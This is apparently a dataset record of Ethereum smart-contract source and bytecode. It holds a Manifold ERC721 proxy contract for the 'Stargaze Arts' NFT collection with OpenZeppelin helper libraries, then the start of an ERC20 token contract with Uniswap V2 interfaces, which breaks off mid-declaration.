doc:;;;,'''''''.'''.............';lddddddxxxxxxxxo:;;'''.... ,o:.... ...':dkOKK0xdxkxxxdl:,..lxdxxxxxxkkkkkkOOO00000000000000OOOOOOOOOOOOOOO000000000000000000000000000000OOOOOOOOOOOOOOOOOkkkkkkkkkkkkOkkkkkkkkkkkkkkkkkkkkkkkxxxxxxxddol:;;;,;;;;clcclc;;;;;,,,,''',;:ccllodddddddddddddooooooollllllllll // // xdc:;;;,'''''''.'''...............,coddddddxxxddl:''... .lOKl..... ...',;:okkdllxkxl;. .'cdddxxxxxxkkkkkkOkkO0000000000000OOOOOOOOOOOOOOOO0000000000000000000000000000OOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxxddool:;;;,;;;;clcclc:;;;;;;,,,''',;;:cccllooodddddddddoooooooolllllcc // // xdl:;;;,'''''''.'''................':odddddddddl;,'.. ,xKKKk;...... ....,;;;,,ldc'. ..,lddddxxxxxxxxkkkkkkkxxk0000000000000OOOOOOOOOOOOOOOO0000000000000000000000000OOOOOOOOOOOOOOOOOOOkkkkkkkkOkkOkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxdddolc;;;,,;:;;clcccc:;;;;;;;;,,'''',,;;;::::cccccccccccccccccccc:::: // // xxl:;;;,'''''''.'''.................';lddddddol:;;.... .:kK0KKKkc..........''..';;....':lodddxxxxxxxxxxkkkkkkkOkxk000000000000OOOOOOOOOOOOOOOOO000000000000000000000000OOOOOOOOOOOOOOOOOOOOOOkkkOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxddool:,,,,,:::;:ccccc:;;;;;;;;;;,,,''''',,,,,;;;;;;;;;;;;;;::::::::: // // xxoc;;;,,''''''''''...................,cdddool:;,'.. .cO0000000Oxc,'.......'''.. .':lodddxxxxxxxxxxxxkkkkkkkkkkxkO00000000000OOOOOOOOOOOOOOOOO000000000000000000000000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxxdddolc;,,'',:cc:::c // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract STARS is ERC721Creator { constructor() ERC721Creator("Stargaze Arts", "STARS") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212200c7b3dd2ae9cb7227d9e475933fadea33d664fe9f4d248289f44ee4cba911d3964736f6c63430008070033
[ 5 ]
0xf310a8bc22fbbc4c084ee4938da72c849cad9d58
// SPDX-License-Identifier: Unlicensed pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint 